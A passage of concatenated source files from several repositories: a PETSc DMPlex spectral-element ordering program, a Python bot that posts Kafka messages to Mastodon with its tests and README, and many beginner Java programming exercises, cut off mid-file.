Console.WriteLine("Description: {0}", property.Description);
Console.WriteLine("Value: {0}", value != null ? value.ToString() : "(null)");
}
}
}
| 6340a1252e9c38f24487b329ee718c00e393a2c2 | [
"Markdown",
"C#"
] | 3 | C# | kiromaru/WindowsShellProperties | 3ff9213e46e0c52194a6ec74c99cd23f98ee42c5 | 01d35b3d315985ceb58f5aa1520c9496c4416eb6 |
refs/heads/master | <repo_name>ArashMehraban/Petsc-DMPlex-SEM<file_sep>/README.md
How to compile:
1) Set PETSC_DIR and PETSC_ARCH variables in your path
2) make all
How to run (examples):
For Q1 mesh on 1 processors:
mpiexec -n 1 ./main -order 1 -f cube8.exo -dim 3 -num_fields 1 -num_components 1
<file_sep>/main.c
static char help[] = "petsc-example-SEM ordering";
#include<petscdmplex.h>
#include <petscvec.h>
typedef struct{
char filename[PETSC_MAX_PATH_LEN]; //optional exodusII file
//PetscInt dof; //dof per node
PetscInt dim; /* Topological problem dimension */
PetscInt Nf; /* Number of fields */
PetscInt *Nc; /* Number of components per field */
PetscInt *k; /* Spectral order per field */
}AppCtx;
#undef __FUNCT__
#define __FUNCT__ "processUserOptions"
PetscErrorCode processUserOptions(MPI_Comm comm, AppCtx *userOptions)
{
PetscErrorCode ierr;
PetscBool fileflg;
PetscBool flg;
PetscInt len;
PetscFunctionBeginUser;
userOptions->dim = 3;
userOptions->Nf = 0;
userOptions->Nc = NULL;
userOptions->k = NULL;
ierr = PetscOptionsBegin(comm, "", "options", "DMPLEX");CHKERRQ(ierr);
ierr = PetscOptionsString("-f", "Exodus.II filename to read", "main.c", userOptions->filename, userOptions->filename, sizeof(userOptions->filename), &fileflg);CHKERRQ(ierr);
#if !defined(PETSC_HAVE_EXODUSII)
if(flg) SETERRQ(comm, PETSC_ERR_ARG_WRONG, "This option requires ExodusII support. Reconfigure your Arch with --download-exodusii");
#endif
//ERROR if no mesh file is provided
if(fileflg == PETSC_FALSE)
SETERRQ(PETSC_COMM_SELF, PETSC_ERR_SUP, "This code requires a mesh file (exodusII)");
ierr = PetscOptionsInt("-dim", "dimension of the mesh", "main", userOptions->dim, &userOptions->dim, NULL);CHKERRQ(ierr);
ierr = PetscOptionsInt("-num_fields", "The number of fields", "petsc-example-SEM", userOptions->Nf, &userOptions->Nf, NULL);CHKERRQ(ierr);
if (userOptions->Nf) {
len = userOptions->Nf;
ierr = PetscMalloc1(len, &userOptions->Nc);CHKERRQ(ierr);
ierr = PetscOptionsIntArray("-num_components", "The number of components per field", "ex6.c", userOptions->Nc, &len, &flg);CHKERRQ(ierr);
if (flg && (len != userOptions->Nf)) SETERRQ2(PETSC_COMM_SELF, PETSC_ERR_ARG_WRONG, "Length of components array is %d should be %d", len, userOptions->Nf);
len = userOptions->Nf;
ierr = PetscMalloc1(len, &userOptions->k);CHKERRQ(ierr);
ierr = PetscOptionsIntArray("-order", "The spectral order per field", "petsc-example-SEM", userOptions->k, &len, &flg);CHKERRQ(ierr);
if (flg && (len != userOptions->Nf)) SETERRQ2(PETSC_COMM_SELF, PETSC_ERR_ARG_WRONG, "Length of order array is %d should be %d", len, userOptions->Nf);
}
PetscOptionsEnd();
PetscFunctionReturn(0);
}
#undef __FUNCT__
#define __FUNCT__ "createDistributedDM"
PetscErrorCode createDistributedDM(MPI_Comm comm, AppCtx user, DM *dm){
PetscErrorCode ierr;
const char *filename = user.filename;
PetscBool interpolate = PETSC_FALSE;
DM distributedMesh = NULL;
PetscFunctionBeginUser;
if(user.k[0] >= 2){
interpolate = PETSC_TRUE;
}
ierr = DMPlexCreateFromFile(comm, filename, interpolate, dm);CHKERRQ(ierr);
ierr = DMPlexDistribute(*dm, 0, NULL, &distributedMesh);CHKERRQ(ierr);
if (distributedMesh) {
ierr = DMDestroy(dm);CHKERRQ(ierr);
*dm = distributedMesh;
}
PetscFunctionReturn(0);
}
#undef __FUNCT__
#define __FUNCT__ "SetSymmetries"
PetscErrorCode SetSymmetries(DM dm, PetscSection s, AppCtx *user)
{
PetscInt f, o, i, j, k, c, d;
DMLabel depthLabel;
PetscErrorCode ierr;
PetscFunctionBegin;
ierr = DMGetLabel(dm,"depth",&depthLabel);CHKERRQ(ierr);
for (f = 0; f < user->Nf; f++) {
PetscSectionSym sym;
if (user->k[f] < 3) continue; /* No symmetries needed for order < 3, because no cell, facet, edge or vertex has more than one node */
ierr = PetscSectionSymCreateLabel(PetscObjectComm((PetscObject)s),depthLabel,&sym);CHKERRQ(ierr);
for (d = 0; d <= user->dim; d++) {
if (d == 1) {
PetscInt numDof = user->k[f] - 1;
PetscInt numComp = user->Nc[f];
PetscInt minOrnt = -2;
PetscInt maxOrnt = 2;
PetscInt **perms;
ierr = PetscCalloc1(maxOrnt - minOrnt,&perms);CHKERRQ(ierr);
for (o = minOrnt; o < maxOrnt; o++) {
PetscInt *perm;
if (o == -1 || !o) { /* identity */
perms[o - minOrnt] = NULL;
} else {
ierr = PetscMalloc1(numDof * numComp, &perm);CHKERRQ(ierr);
for (i = numDof - 1, k = 0; i >= 0; i--) {
for (j = 0; j < numComp; j++, k++) perm[k] = i * numComp + j;
}
perms[o - minOrnt] = perm;
}
}
ierr = PetscSectionSymLabelSetStratum(sym,d,numDof*numComp,minOrnt,maxOrnt,PETSC_OWN_POINTER,(const PetscInt **) perms,NULL);CHKERRQ(ierr);
} else if (d == 2) {
PetscInt perEdge = user->k[f] - 1;
PetscInt numDof = perEdge * perEdge;
PetscInt numComp = user->Nc[f];
PetscInt minOrnt = -4;
PetscInt maxOrnt = 4;
PetscInt **perms;
ierr = PetscCalloc1(maxOrnt-minOrnt,&perms);CHKERRQ(ierr);
for (o = minOrnt; o < maxOrnt; o++) {
PetscInt *perm;
if (!o) continue; /* identity */
ierr = PetscMalloc1(numDof * numComp, &perm);CHKERRQ(ierr);
/* We want to perm[k] to list which *localArray* position the *sectionArray* position k should go to for the given orientation*/
switch (o) {
case 0:
break; /* identity */
case -4: /* flip along (-1,-1)--( 1, 1), which swaps edges 0 and 3 and edges 1 and 2. This swaps the i and j variables */
for (i = 0, k = 0; i < perEdge; i++) {
for (j = 0; j < perEdge; j++, k++) {
for (c = 0; c < numComp; c++) {
perm[k * numComp + c] = (perEdge * j + i) * numComp + c;
}
}
}
break;
case -3: /* flip along (-1, 0)--( 1, 0), which swaps edges 0 and 2. This reverses the i variable */
for (i = 0, k = 0; i < perEdge; i++) {
for (j = 0; j < perEdge; j++, k++) {
for (c = 0; c < numComp; c++) {
perm[k * numComp + c] = (perEdge * (perEdge - 1 - i) + j) * numComp + c;
}
}
}
break;
case -2: /* flip along ( 1,-1)--(-1, 1), which swaps edges 0 and 1 and edges 2 and 3. This swaps the i and j variables and reverse both */
for (i = 0, k = 0; i < perEdge; i++) {
for (j = 0; j < perEdge; j++, k++) {
for (c = 0; c < numComp; c++) {
perm[k * numComp + c] = (perEdge * (perEdge - 1 - j) + (perEdge - 1 - i)) * numComp + c;
}
}
}
break;
case -1: /* flip along ( 0,-1)--( 0, 1), which swaps edges 3 and 1. This reverses the j variable */
for (i = 0, k = 0; i < perEdge; i++) {
for (j = 0; j < perEdge; j++, k++) {
for (c = 0; c < numComp; c++) {
perm[k * numComp + c] = (perEdge * i + (perEdge - 1 - j)) * numComp + c;
}
}
}
break;
case 1: /* rotate section edge 1 to local edge 0. This swaps the i and j variables and then reverses the j variable */
for (i = 0, k = 0; i < perEdge; i++) {
for (j = 0; j < perEdge; j++, k++) {
for (c = 0; c < numComp; c++) {
perm[k * numComp + c] = (perEdge * (perEdge - 1 - j) + i) * numComp + c;
}
}
}
break;
case 2: /* rotate section edge 2 to local edge 0. This reverse both i and j variables */
for (i = 0, k = 0; i < perEdge; i++) {
for (j = 0; j < perEdge; j++, k++) {
for (c = 0; c < numComp; c++) {
perm[k * numComp + c] = (perEdge * (perEdge - 1 - i) + (perEdge - 1 - j)) * numComp + c;
}
}
}
break;
case 3: /* rotate section edge 3 to local edge 0. This swaps the i and j variables and then reverses the i variable */
for (i = 0, k = 0; i < perEdge; i++) {
for (j = 0; j < perEdge; j++, k++) {
for (c = 0; c < numComp; c++) {
perm[k * numComp + c] = (perEdge * j + (perEdge - 1 - i)) * numComp + c;
}
}
}
break;
default:
break;
}
perms[o - minOrnt] = perm;
}
ierr = PetscSectionSymLabelSetStratum(sym,d,numDof*numComp,minOrnt,maxOrnt,PETSC_OWN_POINTER,(const PetscInt **) perms,NULL);CHKERRQ(ierr);
}
}
ierr = PetscSectionSetFieldSym(s,f,sym);CHKERRQ(ierr);
ierr = PetscSectionSymDestroy(&sym);CHKERRQ(ierr);
}
ierr = PetscSectionViewFromOptions(s,NULL,"-section_with_sym_view");CHKERRQ(ierr);
PetscFunctionReturn(0);
}
#undef __FUNCT__
#define __FUNCT__ "dmCreateSEMSection"
PetscErrorCode dmCreateSEMSection(DM *dm, AppCtx user){
PetscErrorCode ierr;
PetscSection s;
PetscFunctionBeginUser;
/* Create a section for SEM order k */
{
PetscInt *numDof, d;
ierr = PetscMalloc1(user.Nf*(user.dim+1), &numDof);CHKERRQ(ierr);
PetscInt size = 0, f;
for (f = 0; f < user.Nf; ++f) {
for (d = 0; d <= user.dim; ++d) numDof[f*(user.dim+1)+d] = PetscPowInt(user.k[f]-1, d)*user.Nc[f];
size += PetscPowInt(user.k[f]+1, d)*user.Nc[f];
}
ierr = DMPlexCreateSection(*dm, user.dim, user.Nf, user.Nc, numDof, 0, NULL, NULL, NULL, NULL, &s);CHKERRQ(ierr);
ierr = SetSymmetries(*dm, s, &user);CHKERRQ(ierr);
ierr = PetscFree(numDof);CHKERRQ(ierr);
}
ierr = DMSetDefaultSection(*dm, s);CHKERRQ(ierr);
ierr = PetscSectionView(s, PETSC_VIEWER_STDOUT_WORLD);CHKERRQ(ierr);
ierr = DMPlexCreateSpectralClosurePermutation(*dm, PETSC_DETERMINE,s);CHKERRQ(ierr);
PetscFunctionReturn(0);
}
#undef __FUNCT__
#define __FUNCT__ "main"
int main(int argc, char **argv)
{
PetscErrorCode ierr;
DM dm;
AppCtx user;
PetscInt Ulsz;
Vec Ul;
ierr = PetscInitialize(&argc,&argv,(char*)0,help); CHKERRQ(ierr);
ierr = processUserOptions(PETSC_COMM_WORLD, &user);CHKERRQ(ierr);
// for(PetscInt i=0; i<1;i++)
// ierr = PetscPrintf(PETSC_COMM_SELF, "Nc %D\n", user.Nc[i]);CHKERRQ(ierr);
ierr = createDistributedDM(PETSC_COMM_WORLD, user, &dm);CHKERRQ(ierr);
ierr = dmCreateSEMSection(&dm, user);CHKERRQ(ierr);
ierr = DMGetLocalVector(dm,&Ul);CHKERRQ(ierr);
ierr = VecGetSize(Ul, &Ulsz);CHKERRQ(ierr);
ierr = PetscPrintf(PETSC_COMM_SELF, "Vec Size %D\n", Ulsz);CHKERRQ(ierr);
ierr = PetscFinalize();CHKERRQ(ierr);
return 0;
}//end of main
| 1958f6993824fbb0bdba401f18c12e42848e733f | [
"Markdown",
"C"
] | 2 | Markdown | ArashMehraban/Petsc-DMPlex-SEM | 14eadc9a8213ae4f8f7634a4ae5061a0cabc33fe | 618dc12a05bc47c2aa7a88752834e0c17aee68dc |
refs/heads/master | <file_sep>import unittest
from unittest import mock
from pip._internal.utils.misc import captured_stdout
from requests.exceptions import HTTPError
import os
import main as m
class TestGetId(unittest.TestCase):
# IDが環境変数に存在しない場合はNoneが返る
def test_none(self):
# IDという環境変数があれば削除する
os.environ.pop('ID', None)
self.assertEqual(m.get_id(), None)
# IDが存在する場合はそのまま返す
def test_id(self):
os.environ['ID'] = 'testid'
self.assertEqual(m.get_id(), 'testid')
class TestGetPassword(unittest.TestCase):
# PASSWORDが環境変数に存在しない場合はNoneが返る
def test_none(self):
# PASSWORDという環境変数があれば削除する
os.environ.pop('PASSWORD', None)
self.assertEqual(m.get_password(), None)
# PASSWORDが存在する場合はそのまま返す
def test_password(self):
os.environ['PASSWORD'] = '<PASSWORD>*$#'
self.assertEqual(m.get_password(), '<PASSWORD>*$#')
class TestGetMastodonUrl(unittest.TestCase):
# MASTODON_URLが環境変数に存在しない場合はNoneが返る
def test_none(self):
# MASTODON_URLという環境変数があれば削除する
os.environ.pop('MASTODON_URL', None)
self.assertEqual(m.get_mastodon_url(), None)
# MASTODON_URLが存在する場合はそのまま返す
def test_password(self):
os.environ['MASTODON_URL'] = 'http://test.mastodon.com'
self.assertEqual(m.get_mastodon_url(), 'http://test.mastodon.com')
class TestGetKafkaUrl(unittest.TestCase):
# KAFKA_URLが環境変数に存在しない場合はNoneが返る
def test_none(self):
# KAFKA_URLという環境変数があれば削除する
os.environ.pop('KAFKA_URL', None)
self.assertEqual(m.get_kafka_url(), None)
# KAFKA_URLが存在する場合はそのまま返す
def test_password(self):
os.environ['KAFKA_URL'] = 'kafka.test.com:9092'
self.assertEqual(m.get_kafka_url(), 'kafka.test.com:9092')
class TestGetKafkaTopc(unittest.TestCase):
# KAFKA_TOPICが環境変数に存在しない場合はNoneが返る
def test_none(self):
# KAFKA_TOPICという環境変数があれば削除する
os.environ.pop('KAFKA_TOPIC', None)
self.assertEqual(m.get_kafka_topic(), None)
# KAFKA_TOPICが存在する場合はそのまま返す
def test_password(self):
os.environ['KAFKA_TOPIC'] = 'test_topic'
self.assertEqual(m.get_kafka_topic(), 'test_topic')
class TestKafkaToot(unittest.TestCase):
# idがNoneの場合はエラー表示
def test_id_none(self):
with captured_stdout() as stdout:
id = None
password = '<PASSWORD>*$#'
mastodon_url = 'http://test.mastodon.com'
kafka_url = 'kafka.test.com:9092'
kafka_topic = 'test_topic'
m.kafka_toot(id, password, mastodon_url, kafka_url, kafka_topic)
lines = stdout.getvalue().splitlines()
self.assertEqual(lines[0], 'ERROR: ID env is not defined.')
# passwordがNoneの場合はエラー表示
def test_password_none(self):
with captured_stdout() as stdout:
id = 'testid'
password = None
mastodon_url = 'http://test.mastodon.com'
kafka_url = 'kafka.test.com:9092'
kafka_topic = 'test_topic'
m.kafka_toot(id, password, mastodon_url, kafka_url, kafka_topic)
lines = stdout.getvalue().splitlines()
self.assertEqual(lines[0], 'ERROR: PASSWORD env is not defined.')
# mastodon_urlがNoneの場合はエラー表示
def test_mastodon_url_none(self):
with captured_stdout() as stdout:
id = 'testid'
password = '<PASSWORD>*$#'
mastodon_url = None
kafka_url = 'kafka.test.com:9092'
kafka_topic = 'test_topic'
m.kafka_toot(id, password, mastodon_url, kafka_url, kafka_topic)
lines = stdout.getvalue().splitlines()
self.assertEqual(lines[0], 'ERROR: MASTODON_URL env is not defined.')
# kafka_urlがNoneの場合はエラー表示
def test_kafka_url_none(self):
with captured_stdout() as stdout:
id = 'testid'
password = '<PASSWORD>*$#'
mastodon_url = 'http://test.mastodon.com'
kafka_url = None
kafka_topic = 'test_topic'
m.kafka_toot(id, password, mastodon_url, kafka_url, kafka_topic)
lines = stdout.getvalue().splitlines()
self.assertEqual(lines[0], 'ERROR: KAFKA_URL env is not defined.')
# kafka_topicがNoneの場合はエラー表示
def test_kafka_topic_none(self):
with captured_stdout() as stdout:
id = 'testid'
password = '<PASSWORD>*$#'
mastodon_url = 'http://test.mastodon.com'
kafka_url = 'kafka.test.com:9092'
kafka_topic = None
m.kafka_toot(id, password, mastodon_url, kafka_url, kafka_topic)
lines = stdout.getvalue().splitlines()
self.assertEqual(lines[0], 'ERROR: KAFKA_TOPIC env is not defined.')
if __name__ == '__main__':
unittest.main()
<file_sep># kafka-mastodon
指定したkafkaのtopicをconsumeし,その内容をMattermostに投稿する
## pytooter_clientcred.secretの生成
```
# python
>>> from mastodon import Mastodon
>>> Mastodon.create_app("****", api_base_url = "http://mstdn.****", to_file = "pytooter_clientcred.secret")
```
## .gitlab-ci.yml セッティング
事前に以下の変数をSetting->CI / CD->Environment variablesに定義すること
- CI_REGISTRY
- CI_REGISTRY_PASSWORD
- CI_REGISTRY_USER
- http_proxy
- https_proxy
また,GitLabとHarbor上にあらかじめユーザ名/パスワードがCI_REGISTRY_USER/CI_REGISTRY_PASSWORDとなるユーザを作成しておくこと
## dockerコンテナ実行方法
```
# docker run --name kafka-mastodon -e ID=**** -e PASSWORD=**** -e MASTODON_URL=http://mstdn.**** -e KAFKA_URL=kafka.neko.flab.fujitsu.co.jp:9092 -e KAFKA_TOPIC=mastodon -d harbor.neko.flab.fujitsu.co.jp:9000/kitajima/kafka-mastodon
```
<file_sep>blurhash==1.1.4
certifi==2019.9.11
chardet==3.0.4
decorator==4.4.0
idna==2.8
kafka-python==1.4.7
Mastodon.py==1.5.0
python-dateutil==2.8.0
python-magic==0.4.15
pytz==2019.3
requests==2.22.0
six==1.12.0
urllib3==1.25.6
<file_sep>import os
# pip install kafka-python
from kafka import KafkaConsumer
# pip install Mastodon.py
from mastodon import Mastodon
def get_id():
if 'ID' in os.environ:
id = os.getenv('ID')
return id
else:
return None
def get_password():
if 'PASSWORD' in os.environ:
password = os.getenv('PASSWORD')
return password
else:
return None
def get_mastodon_url():
if 'MASTODON_URL' in os.environ:
mastodon_url = os.getenv('MASTODON_URL')
return mastodon_url
else:
return None
def get_kafka_url():
if 'KAFKA_URL' in os.environ:
kafka_url = os.getenv('KAFKA_URL')
return kafka_url
else:
return None
def get_kafka_topic():
if 'KAFKA_TOPIC' in os.environ:
kafka_topic = os.getenv('KAFKA_TOPIC')
return kafka_topic
else:
return None
def login(id, password, mastodon_url):
mastodon = Mastodon(
client_id = 'pytooter_clientcred.secret',
api_base_url = mastodon_url
)
mastodon.log_in(
id,
password,
to_file='pytooter_usercred.secret'
)
return mastodon
def kafka_toot(id, password, mastodon_url, kafka_url, kafka_topic):
if id != None and password != None and mastodon_url != None and kafka_url != None and kafka_topic != None:
consumer = KafkaConsumer(kafka_topic, bootstrap_servers=kafka_url)
login(id, password, mastodon_url)
mastodon = Mastodon(
access_token='<PASSWORD>',
api_base_url=mastodon_url
)
for msg in consumer:
print(msg.value)
mastodon.toot(msg.value)
if id == None:
print('ERROR: ID env is not defined.')
if password == None:
print('ERROR: PASSWORD env is not defined.')
if mastodon_url == None:
print('ERROR: MASTODON_URL env is not defined.')
if kafka_url == None:
print('ERROR: KAFKA_URL env is not defined.')
if kafka_topic == None:
print('ERROR: KAFKA_TOPIC env is not defined.')
def main():
id = get_id()
password = <PASSWORD>()
mastodon_url = get_mastodon_url()
kafka_url = get_kafka_url()
kafka_topic = get_kafka_topic()
kafka_toot(id, password, mastodon_url, kafka_url, kafka_topic)
if __name__ == '__main__':
main() | 29320549d19edd80afd28cbef8779c8d1259a92c | [
"Markdown",
"Python",
"Text"
] | 4 | Python | kitajima-shinya/kafka-mastodon | cafa94db37e0cfc3372615e9a92f5fa438f8a9cc | 400cd475a63fd6b95e08fbc8c69f4437a6d4655f |
refs/heads/main | <file_sep>import java.util.Scanner;
public class ME_Clock_09 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int hours = 23;
int minutes = 59;
for (int hour = 0; hour <= hours; hour++) {
for (int minute = 0; minute <= minutes; minute++) {
System.out.printf("%d : %d%n", hour, minute);
}
}
}
}
<file_sep>import java.util.Scanner;
public class ME_VegetableMarket_04 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double priceVegetable = Double.parseDouble(scanner.nextLine());
double priceFruit = Double.parseDouble(scanner.nextLine());
int kgVegetable = Integer.parseInt(scanner.nextLine());
int kgFruit = Integer.parseInt(scanner.nextLine());
double profitVegetable = priceVegetable * kgVegetable;
double profitFruit = priceFruit * kgFruit;
double total = (profitVegetable + profitFruit) / 1.94;
System.out.printf("%.2f", total);
}
}
<file_sep>import java.util.Scanner;
public class NumbersN_1_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//повтаряме: печатаме числото
//начало: n
//край: 1
//всеки път намаляме числото с 1
int n = Integer.parseInt(scanner.nextLine());
for (int number = n; number >= 1; number-- ) {
System.out.println(number);
}
}
}
<file_sep>import java.util.Scanner;
public class ME_TrainingLab_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double w = Double.parseDouble(scanner.nextLine());
double h = Double.parseDouble(scanner.nextLine());
double smW = w * 100;
double smHsKoridor = h * 100;
double smh = smHsKoridor - 100;
double bura = Math.floor(smh / 70);
double redove = Math.floor(smW / 120);
double numberOfPeople = bura * redove - 3;
System.out.printf("%.0f", numberOfPeople);
}
}
<file_sep>import static javax.swing.JOptionPane.showMessageDialog;
//Инструкция статична пакет.пакет.клас.метод
class Demo {
public static void main(String[] args) {
showMessageDialog(null, "Programing in Java!");
}
}
<file_sep>import java.util.Scanner;
public class SeriesCalculator_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String serial = scanner.nextLine();
int seasons = Integer.parseInt(scanner.nextLine());
int episodes = Integer.parseInt(scanner.nextLine());
double episodeWithoutAdd = Double.parseDouble(scanner.nextLine());
double episodeWithAdd = episodeWithoutAdd + (episodeWithoutAdd * 0.20);
double finalEpisode = seasons * 10;
double total = seasons * episodes * episodeWithAdd + finalEpisode;
System.out.printf("Total time needed to watch the %s series is %.0f minutes.", serial, total);
}
}
<file_sep>import java.util.Scanner;
public class ME_UniquePINCodes_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int n = Integer.parseInt(scanner.nextLine());
int m = Integer.parseInt(scanner.nextLine());
int l = Integer.parseInt(scanner.nextLine());
for (int i = 2; i <= n; i+=2) {
for (int j = 2; j <= m; j++) {
for (int k = 2; k <= l; k+=2) {
if (j == 2 || j == 3 || j == 5 || j == 7) {
System.out.printf("%d %d %d%n", i, j, k);
}
}
}
}
}
}
<file_sep>import java.util.Scanner;
public class LunchBreak_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String name = scanner.nextLine();
int episodeTime = Integer.parseInt(scanner.nextLine());
int restTime = Integer.parseInt(scanner.nextLine());
double timeForLunch = restTime * 1.0 * 1 / 8;
double timeForRest = restTime * 1.0 * 1 / 4;
double time = restTime - (timeForLunch + timeForRest);
if (time >= episodeTime) {
System.out.printf("You have enough time to watch %s and left with %.0f minutes free time.", name, Math.ceil(time - episodeTime));
} else {
System.out.printf("You don't have enough time to watch %s, you need %.0f more minutes.", name, Math.ceil(episodeTime - time));
}
}
}
<file_sep>import java.util.Scanner;
public class VacationBooksList {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int countPages = Integer.parseInt(scanner.nextLine());
int readPagesPerHour = Integer.parseInt(scanner.nextLine());
int days = Integer.parseInt(scanner.nextLine());
int totalReadingTime = countPages / readPagesPerHour;
int hourPerDay = totalReadingTime / days;
System.out.println(hourPerDay);
}
}
<file_sep>import java.util.Scanner;
public class ME_WeddingSeats_06 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
char sector = scanner.nextLine().charAt(0);
int row = Integer.parseInt(scanner.nextLine());
int seatsOdd = Integer.parseInt(scanner.nextLine());
int counter = 0;
int factor = 0;
for (char i = 'A'; i <= sector; i++, row++) {
for (int j = 1; j <= row; j++) {
factor = (j % 2 == 0) ? 2 : 0;
for (char k = 'a'; k < 'a' + seatsOdd + factor; k++) {
System.out.printf("%c%d%c%n", i, j, k);
counter++;
}
}
}
System.out.printf("%d", counter);
}
}
<file_sep>import java.util.Scanner;
public class ME_PipeInPool_09 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int V = Integer.parseInt(scanner.nextLine());
int P1 = Integer.parseInt(scanner.nextLine());
int P2 = Integer.parseInt(scanner.nextLine());
double H = Double.parseDouble(scanner.nextLine());
double p1PerH = P1 * H;
double p2PerH = P2 * H;
double bothPipesPerH = p1PerH + p2PerH;
double bothPipesPercent = (bothPipesPerH * 100) / V;
double p1Percent = (p1PerH * 100) / bothPipesPerH;
double p2Percent = (p2PerH * 100) / bothPipesPerH;
if (bothPipesPerH <= V){
System.out.printf("The pool is %.2f%% full. Pipe 1: %.2f%%. Pipe 2: %.2f%%.", bothPipesPercent, p1Percent, p2Percent);
} else {
System.out.printf("For %.2f hours the pool overflows with %.2f litres.", H, bothPipesPerH - V);
}
}
}
<file_sep>import java.util.Scanner;
public class EvenOrOdd_03 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//1. число -> int -> вход
//2. ако е четно -> even -> в противен случай -> "odd"
int number = Integer.parseInt(scanner.nextLine());
if (number % 2 == 0) {
System.out.println("even");
} else {
System.out.println("odd");
}
}
}
<file_sep>import java.util.Scanner;
public class ME_Flowers_03 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int hrizantemi = Integer.parseInt(scanner.nextLine());
int rozi = Integer.parseInt(scanner.nextLine());
int laleta = Integer.parseInt(scanner.nextLine());
String season = scanner.nextLine();
String praznik = scanner.nextLine();
double price = 0;
int numberFlowers = hrizantemi + rozi + laleta;
if (season.equals("Spring") || season.equals("Summer")) {
price = (((hrizantemi * 1.0) * 2) + ((rozi * 1.0) * 4.10) + ((laleta * 1.0) * 2.50));
if (praznik.equals("Y")) {
price = price * 1.15;
if (laleta > 7) {
price = price * 0.95;
}
} else if (praznik.equals("N")) {
if (laleta > 7) {
price = price * 0.95;
}
}
} else if (season.equals("Autumn") || season.equals("Winter")) {
price = (((hrizantemi * 1.0) * 3.75) + ((rozi * 1.0) * 4.50) + ((laleta * 1.0) * 4.15));
if (praznik.equals("Y")) {
price = price * 1.15;
if (rozi >= 10 && season.equals("Winter")) {
price = price * 0.90;
}
} else if (praznik.equals("N")) {
if (rozi >= 10 && season.equals("Winter")) {
price = price * 0.90;
}
}
}
if (numberFlowers > 20) {
price = price - (price * 0.20);
}
price = price + 2;
System.out.printf("%.2f", price);
}
}
<file_sep>import java.util.Scanner;
public class ME_FuelTankPart2_18 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String typeFuel = scanner.nextLine();
double litters = Double.parseDouble(scanner.nextLine());
String discCard = scanner.nextLine();
double totalPrice = 0;
if (typeFuel.equals("Gas")) {
if (discCard.equals("Yes")) {
totalPrice = litters * (0.93 - 0.08);
} else {
totalPrice = litters * 0.93;
}
if (litters >= 20 && litters <= 25) {
totalPrice = totalPrice - (totalPrice * 0.08);
} else if (litters > 25) {
totalPrice = totalPrice - (totalPrice * 0.10);
}
} else if (typeFuel.equals("Gasoline")) {
if (discCard.equals("Yes")) {
totalPrice = litters * (2.22 - 0.18);
} else {
totalPrice = litters * 2.22;
}
if (litters >= 20 && litters <= 25) {
totalPrice = totalPrice - (totalPrice * 0.08);
} else if (litters > 25) {
totalPrice = totalPrice - (totalPrice * 0.10);
}
} else if (typeFuel.equals("Diesel")) {
if (discCard.equals("Yes")) {
totalPrice = litters * (2.33 - 0.12);
} else {
totalPrice = litters * 2.33;
}
if (litters >= 20 && litters <= 25) {
totalPrice = totalPrice - (totalPrice * 0.08);
} else if (litters > 25) {
totalPrice = totalPrice - (totalPrice * 0.10);
}
}
System.out.printf("%.2f lv.", totalPrice);
}
}
<file_sep>import java.util.Scanner;
public class HotelRoom_07 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String month = scanner.nextLine();
int numberOfNights = Integer.parseInt(scanner.nextLine());
double priceStudio = 0;
double priceApartment = 0;
if (month.equals("May") || month.equals("October")) {
priceStudio = 50;
priceApartment = 65;
} else if (month.equals("June") || month.equals("September")) {
priceStudio = 75.20;
priceApartment = 68.70;
} else if (month.equals("July") || month.equals("August")) {
priceStudio = 76;
priceApartment = 77;
}
priceStudio = priceStudio * numberOfNights;
priceApartment = priceApartment * numberOfNights;
if (numberOfNights > 7 && numberOfNights < 14 && (month.equals("May") || month.equals("October"))) {
priceStudio = priceStudio * 0.95;
} else if (numberOfNights > 14 && (month.equals("May") || month.equals("October"))) {
priceStudio = priceStudio * 0.70;
} else if (numberOfNights > 14 && (month.equals("June") || month.equals("September"))) {
priceStudio = priceStudio * 0.80;
}
if (numberOfNights > 14) {
priceApartment = priceApartment * 0.90;
}
System.out.printf("Apartment: %.2f lv.", priceApartment);
System.out.printf("%nStudio: %.2f lv.", priceStudio);
}
}
<file_sep>import java.util.Scanner;
public class ProgrammingBook_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double priceOnePage = Double.parseDouble(scanner.nextLine());
double priceOneKorica = Double.parseDouble(scanner.nextLine());
int procentNamalenie = Integer.parseInt(scanner.nextLine());
double priceDizainer = Integer.parseInt(scanner.nextLine());
int priceFromAll = Integer.parseInt(scanner.nextLine());
double priceAll = priceOnePage * 899 + priceOneKorica * 2;
double discount = priceAll * procentNamalenie * 1.0 / 100;
double total = priceAll - discount;
double dizainer = total + priceDizainer;
double ekip = dizainer * priceFromAll * 1.0 / 100;
double ekipDiscount = dizainer - ekip;
System.out.printf("Avtonom should pay %.2f BGN.", ekipDiscount);
}
}
<file_sep>import java.util.Scanner;
public class ME_EqualParis_08 {
public static void main(String[] args) {
Scanner sc = new Scanner (System.in);
int n = Integer.parseInt(sc.nextLine());
int sumOne = 0, sumTwo = 0, diff = 0;
for (int i = 1; i <= n; i++) {
int numOne = Integer.parseInt(sc.nextLine());
int numTwo = Integer.parseInt(sc.nextLine());
if (i % 2 == 0) {
sumOne = numOne + numTwo;
} else {
sumTwo = numOne + numTwo;
}
if (Math.abs(sumOne - sumTwo) > diff && i > 1) {
diff = Math.abs(sumOne - sumTwo);
}
}
if (diff != 0) {
System.out.println("No, maxdiff=" + diff);
} else {
System.out.println("Yes, value=" + sumTwo); // използваме sumTwo, тъй като ако n = 1, стойността ще се запише там
}
}
}
<file_sep>import java.util.Scanner;
public class TennisRanklist_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int turniri = Integer.parseInt(scanner.nextLine());
int startPoints = Integer.parseInt(scanner.nextLine());
int winPoints = 0;
int wins = 0;
for (int turnir = 1; turnir <= turniri; turnir++) {
String result = scanner.nextLine();
if (result.equals("W")) {
startPoints += 2000;
